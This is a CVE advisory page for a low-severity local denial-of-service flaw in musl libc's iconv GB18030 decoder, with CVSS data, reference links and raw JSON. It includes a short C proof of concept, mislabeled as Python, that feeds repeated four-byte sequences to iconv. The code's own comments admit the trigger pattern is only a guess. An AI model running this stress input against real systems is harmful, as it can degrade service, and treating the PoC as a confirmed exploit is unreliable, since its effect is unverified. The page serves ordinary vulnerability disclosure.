Security Vulnerability Report
中文
CVE-2026-6042 CVSS 3.3 LOW

CVE-2026-6042

Published: 2026-04-10 09:16:25
Last Modified: 2026-04-24 18:01:14

Description

A security flaw has been discovered in musl libc up to 1.2.6. Affected is the function iconv of the file src/locale/iconv.c of the component GB18030 4-byte Decoder. Performing a manipulation results in inefficient algorithmic complexity. The attack must be initiated from a local position. To fix this issue, it is recommended to deploy a patch.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

musl libc <= 1.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <iconv.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // PoC for CVE-2026-6042: musl libc iconv GB18030 inefficiency // This code demonstrates the trigger point for the algorithmic complexity issue. int main() { iconv_t cd = iconv_open("UTF-8", "GB18030"); if (cd == (iconv_t)-1) { perror("iconv_open failed"); return 1; } // Construct a payload designed to trigger the inefficient decoding path // The specific sequence depends on the flaw in the 4-byte decoder. // Below is a representative pattern of GB18030 4-byte sequences. char input[1024]; memset(input, 0, sizeof(input)); // Filling with a repetitive pattern that stresses the decoder for (int i = 0; i < 256; i++) { input[i*4] = 0x81; input[i*4+1] = 0x30; input[i*4+2] = 0x81; input[i*4+3] = 0x30; } char outbuf[1024]; char *inptr = input; char *outptr = outbuf; size_t inbytes = sizeof(input); size_t outbytes = sizeof(outbuf); printf("Starting conversion to trigger potential DoS...\n"); size_t result = iconv(cd, &inptr, &inbytes, &outptr, &outbytes); if (result == (size_t)-1) { perror("iconv failed"); } else { printf("Conversion finished.\n"); } iconv_close(cd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6042", "sourceIdentifier": "[email protected]", "published": "2026-04-10T09:16:25.450", "lastModified": "2026-04-24T18:01:13.913", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in musl libc up to 1.2.6. Affected is the function iconv of the file src/locale/iconv.c of the component GB18030 4-byte Decoder. Performing a manipulation results in inefficient algorithmic complexity. The attack must be initiated from a local position. To fix this issue, it is recommended to deploy a patch."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-404"}, {"lang": "en", "value": "CWE-407"}]}], "references": [{"url": "https://vuldb.com/submit/796352", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356620", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/356620/cti", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/02/10", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/03/2", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/09/19", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}